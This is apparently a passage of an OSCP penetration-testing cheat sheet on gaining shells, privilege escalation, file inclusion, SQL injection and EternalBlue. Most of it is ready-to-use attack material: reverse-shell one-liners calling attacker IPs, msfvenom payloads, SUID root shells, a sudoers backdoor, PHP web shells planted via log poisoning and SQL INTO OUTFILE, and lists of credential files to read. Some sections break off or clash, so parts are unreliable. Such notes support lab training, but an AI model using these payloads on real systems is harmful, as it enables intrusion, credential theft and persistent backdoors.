Shells
===================================================================================================================================

-   Netcat Shell Listener

    `nc -nlvp 4444`

-   Spawning a TTY Shell - Break out of Jail or limited shell
         You should almost always upgrade your shell after taking control of an apache or www user.

        (For example when you encounter an error message when trying to run an exploit sh: no job control in this shell )

        (hint: sudo -l to see what you can run)

     -   You may encounter limited shells that use rbash and only allow you to execute a single command per session.
         You can overcome this by executing an SSH shell to your localhost:

               ssh user@$ip nc $localip 4444 -e /bin/sh
               enter user's password
               python -c 'import pty; pty.spawn("/bin/sh")'
               export TERM=linux

      `python -c 'import pty; pty.spawn("/bin/sh")'`

               python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);          s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'

      `echo os.system('/bin/bash')`

      `/bin/sh -i`

      `perl —e 'exec "/bin/sh";'`

      *Linux*

      `msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf`

      *Windows*

      `msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe`

      *Mac*

      `msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho`

      **Web Payloads**

      *PHP*

      OR

      `msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php`

      Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage:

      `cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php`

      *ASP*

      `msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp`

      **Shellcode**

      For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

      *Linux Based Shellcode*

      `msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`

      *Windows Based Shellcode*

      `msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`

      *Mac Based Shellcode*

      `msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`

      **Handlers**
      Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

         use exploit/multi/handler
         set PAYLOAD <Payload name>
         set LHOST <LHOST value>
         set LPORT <LPORT value>
         set ExitOnSession false
         exploit -j -z

      Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

-   Post exploitation refers to the actions performed by an attacker,
    once some level of control has been gained on his target.

-   Simple Local Web Servers

    -   Run a basic http server, great for serving up shells etc
        python -m SimpleHTTPServer 80

    -   Run a basic Python3 http server, great for serving up shells
        etc

-   Windows file transfer script that can be pasted to the command line.  File transfers to a Windows machine can be tricky without a Meterpreter shell.  The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line):

         echo Set args = Wscript.Arguments  >> webdl.vbs
         timeout 1
         echo Url = "http://1.1.1.1/windows-privesc-check2.exe"  >> webdl.vbs
         timeout 1
         echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")  >> webdl.vbs
         timeout 1
         echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> webdl.vbs
         timeout 1

Privilege Escalation
==================================================================================================================

*Password reuse is your friend.  The OSCP labs are true to life, in the way that the users will reuse passwords across different services and even different boxes. Maintain a list of cracked passwords and test them on new machines you encounter.*


-   Linux Privilege Escalation
    ------------------------------------------------------------------------------------------------------------------------

-   Defacto Linux Privilege Escalation Guide  - A much more through guide for linux enumeration:
    [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)

-   Try the obvious - Maybe the user can sudo to root:

    `sudo su`

-   Here are the commands I have learned to use to perform linux enumeration and privledge escalation:

    What services are running as root?:

    `ps aux | grep root`

    What files run as root / SUID / GUID?:

         find / -perm +2000 -user root -type f -print
         find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
         find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
         find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
         find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
         for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
         find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

    What folders are world writeable?:

         find / -writable -type d 2>/dev/null      # world-writeable folders
         find / -perm -222 -type d 2>/dev/null     # world-writeable folders
         find / -perm -o w -type d 2>/dev/null     # world-writeable folders
         find / -perm -o x -type d 2>/dev/null     # world-executable folders
         find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

-   There are a few scripts that can automate the linux enumeration process:

      - Google is my favorite Linux Kernel exploitation search tool.  Many of these automated checkers are missing important kernel exploits which can create a very frustrating blindspot during your OSCP course.

      - LinuxPrivChecker.py - My favorite automated linux priv enumeration checker -

          echo thePassword | passwd haxzor --stdin

-   Local Privilege Escalation Exploit in Linux

    -   **SUID** (**S**et owner **U**ser **ID** up on execution)
        Often SUID C binary files are required to spawn a shell as a
        superuser, you can update the UID / GID and shell as required.

        below are some quick copy and paste examples for various
        shells:

              SUID C Shell for /bin/bash

              int main(void){
              setresuid(0, 0, 0);
              system("/bin/bash");
              }

              SUID C Shell for /bin/sh

              int main(void){
              setresuid(0, 0, 0);
              system("/bin/sh");
              }

              Building the SUID Shell binary
              gcc -o suid suid.c
              For 32 bit:
              gcc -m32 -o suid suid.c

    -   Create and compile an SUID from a limited shell (no file transfer)

              echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c
              gcc privsc.c -o privsc

-   Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password requirement:

    `echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update`

-   You may find a command is being executed by the root user, you may be able to modify the system PATH environment variable
    to execute your command instead.  In the example below, ssh is replaced with a reverse shell SUID connecting to 10.10.10.1 on
    port 4444.

         set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
         echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
         chmod +x ssh

-   Windows privledge escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller.py into an executable and upload them to the remote server.

         pip install pyinstaller
         wget -O exploit.py http://www.exploit-db.com/download/31853
         python pyinstaller.py --onefile exploit.py

-   Powershell Exploits - You may find that some Windows privledge escalation exploits are written in Powershell. You may not have an interactive shell that allows you to enter the powershell prompt.  Once the powershell script is uploaded to the server, here is a quick one liner to run a powershell command from a basic (cmd.exe) shell:

      MS16-032 https://www.exploit-db.com/exploits/39719/

      `powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"`

-   Windows Run As - Switching users in linux is trival with the `SU` command.  However, an equivalent command does not exist in Windows.  Here are 3 ways to run a command as a different user in Windows.

      -   Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).

               C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"

               Copyright (C) 2001-2016 Mark Russinovich
               Sysinternals - www.sysinternals.com

      -   Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:

               C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
               Enter the password for Test:
               Attempting to start nc.exe as user "COMPUTERNAME\Test" ...

      -   PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.

               $username = '<username here>'
               $password = '<password here>'
               $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
               $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
               Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public

             Next run this script using powershell.exe:

             `powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"`


-   Windows Service Configuration Viewer - Check for misconfigurations
    in services that can lead to privilege escalation. You can replace

    -   Find the GPP file: Groups.xml

        `dir /s Groups.xml`

    -   Review the contents for passwords

        `type Groups.xml`

    -   Decrypt using GPP Decrypt

-   File Inclusion Vulnerabilities
    -----------------------------------------------------------------------------------------------------------------------------

    -   Local (LFI) and remote (RFI) file inclusion vulnerabilities are
        commonly found in poorly written PHP code.

    -   fimap - There is a Python tool called fimap which can be
        leveraged to automate the exploitation of LFI/RFI
        vulnerabilities that are found in PHP (sqlmap for LFI):
        [*https://github.com/kurobeats/fimap*](https://github.com/kurobeats/fimap)

        -   Gaining a shell from phpinfo()
            fimap + phpinfo() Exploit - If a phpinfo() file is present,
            it’s usually possible to get a shell, if you don’t know the
            location of the phpinfo file fimap can probe for it, or you
            could use a tool like OWASP DirBuster.

    -   For Local File Inclusions look for the include() function in PHP
        code.
        include("lang/".$\_COOKIE\['lang'\]);
        include($\_GET\['page'\].".php");

    -   LFI - Encode and Decode a file using base64
        curl -s
        http://$ip/?page=php://filter/convert.base64-encode/resource=index
        | grep -e '\[^\\ \]\\{40,\\}' | base64 -d

    -   LFI - Download file with base 64 encoding
        [*http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php*](about:blank)

    -   LFI Linux Files:
        /etc/issue
        /proc/version
        /etc/profile
        /etc/passwd
        /etc/passwd
        /etc/shadow
        /root/.bash\_history
        /var/log/dmessage
        /var/mail/root
        /var/spool/cron/crontabs/root

    -   LFI Windows Files:
        %SYSTEMROOT%\\repair\\system
        %SYSTEMROOT%\\repair\\SAM
        %SYSTEMROOT%\\repair\\SAM
        %WINDIR%\\win.ini
        %SYSTEMDRIVE%\\boot.ini
        %WINDIR%\\Panther\\sysprep.inf
        %WINDIR%\\system32\\config\\AppEvent.Evt

    -   LFI OSX Files:
        /etc/fstab
        /etc/master.passwd
        /etc/resolv.conf
        /etc/sudoers
        /etc/sysctl.conf

    -   LFI - Download passwords file
        [*http://$ip/index.php?page=/etc/passwd*](about:blank)
        [*http://$ip/index.php?file=../../../../etc/passwd*](about:blank)

    -   LFI - Download passwords file with filter evasion
        [*http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd*](about:blank)

    -   Local File Inclusion - In versions of PHP below 5.3 we can
        terminate with null byte
        GET
        /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00

    -   Contaminating Log Files `<?php echo shell_exec($_GET['cmd']);?>`

    -   For a Remote File Inclusion look for php code that is not  sanitized and passed to the PHP include function and the php.ini
        file must be configured to allow remote files

        */etc/php5/cgi/php.ini* - "allow_url_fopen" and "allow_url_include" both set to "on"

        `include($_REQUEST["file"].".php");`

    -   Remote File Inclusion

         `http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt `

         `<?php echo shell\_exec("ipconfig");?>`

-   <span id="_mgu7e3u7svak" class="anchor"><span id="_Toc480741820" class="anchor"></span></span>Database Vulnerabilities
    ----------------------------------------------------------------------------------------------------------------------

    -   Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root username and        password

              mysql -u root -p -h $ip
              use "Users"
              show tables;
              select \* from users;

    -   Authentication Bypass

              name='wronguser' or 1=1;
              name='wronguser' or 1=1 LIMIT 1;

    -   Enumerating the Database

        `http://192.168.11.35/comment.php?id=738)'`

        Verbose error message?

        `http://$ip/comment.php?id=738 order by 1`

        `http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6  `

        Determine MySQL Version:

        `http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6  `

        Current user being used for the database connection:

        `http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6  `

        Enumerate database tables and column structures

        `http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables  `

        Target the users table in the database

        `http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where        table_name='users'  `

        Extract the name and password

        `http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users `

        Create a backdoor

        `http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE        'c:/xampp/htdocs/backdoor.php'`

-   Staged and Non-staged

    -   Non-staged payload - is a payload that is sent in its entirety in one go

    -   Staged - sent in two parts  Not have enough buffer space  Or need to bypass antivirus

 -   MS 17-010 - EternalBlue

    -   You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue).  Although, not offically part of the indended course, this exploit can be leveraged to gain SYSTEM level access to a Windows box.  I have never had much luck using the built in Metasploit EternalBlue module.  I found that the elevenpaths version works much more relabily. Here are the instructions to install it taken from the following YouTube video:
    https://www.youtube.com/watch?v=4OHLor9VaRI


      1. First step is to configure the Kali to work with wine 32bit

      `dpkg --add-architecture i386 && apt-get update && apt-get install wine32
      rm -r ~/.wine
      wine cmd.exe
      exit`

      2. Download the exploit repostory
      https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

      3. Move the exploit to /usr /share /metasploit-framework /modules /exploits /windows /smb

      4. Start metasploit console


I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.


      `use exploit/windows/smb/eternalblue_doublepulsar
      msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10
      RHOST => 10.11.1.73
      msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe
      PROCESSINJECT => spoolsv.exe
      msf exploit(eternalblue_doublepulsar) > run`
